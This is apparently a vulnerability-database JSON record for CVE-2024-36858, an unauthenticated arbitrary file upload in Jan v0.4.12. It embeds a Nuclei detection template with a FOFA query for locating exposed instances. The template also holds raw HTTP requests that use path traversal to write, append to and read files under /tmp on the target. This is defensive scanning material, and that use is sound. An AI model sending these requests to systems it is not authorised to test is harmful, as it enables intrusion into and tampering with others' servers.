{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-36858/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-36858/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-36858/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-36858/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-36858/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-36858"},"sightings":{"href":"/api/v1/sightings/cve-2024-36858"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-36858.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-36858\n\ninfo:\n  name: Jan v0.4.12 - Arbitrary File Upload\n  author: pussycat0x\n  severity: critical\n  description: |\n    An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.\n  impact: |\n    Unauthenticated attackers can upload crafted files to execute arbitrary code on the server.\n  remediation: |\n    Update Jan to a version later than v0.4.12 that patches the arbitrary file upload vulnerability.\n  reference:\n    - https://github.com/HackAllSec/CVEs/blob/main/Jan%20AFR%20vulnerability/README.md\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-36858\n    cwe-id: CWE-434\n    epss-score: 0.03035\n    epss-percentile: 0.86935\n    cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:*\n  metadata:\n    vendor: homebrew\n    product: jan\n    fofa-query: icon_hash=\"-165268926\"\n  tags: cve,cve2024,totolink,unauth,intrusive,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(6))}}\"\n  string: \"{{rand_text_alpha(10)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body,\"<title>Jan</title>\")'\n          - \"contains(content_type, 'text/html')\"\n          - \"status_code == 200\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /v1/app/writeFileSync HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{RootURL}}\n        contentType: application/json\n        Content-Type: text/plain;charset=UTF-8\n        Origin: {{RootURL}}\n\n        [\"/../../../../../tmp/{{filename}}.txt\",\"{{randstr}}\"]\n\n      - |\n        POST /v1/app/appendFileSync HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{RootURL}}\n        contentType: application/json\n        Content-Type: text/plain;charset=UTF-8\n        Origin: {{RootURL}}\n\n        [\"file:/../../../../../../tmp/{{filename}}.txt\",\"{{string}}\"]\n\n      - |\n        POST /v1/app/readFileSync HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{RootURL}}\n        contentType: application/json\n        Content-Type: text/plain;charset=UTF-8\n        Origin: {{RootURL}}\n\n        [\"file:/../../../../../../tmp/{{filename}}.txt\",\"utf-8\"]\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200'\n          - 'contains(body_3, \"{{string}}\")'\n        condition: and\n# digest: 4a0a00473045022100fcf0fcb615ab71f3813e6152addfdf6c4d7de7f2e7c160823c7a5a36c2ca18f602201ce8eb92ca20080edcc24b3d24e667bdadae3b20b1e31a30f162f62a496a5aac:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-36858"}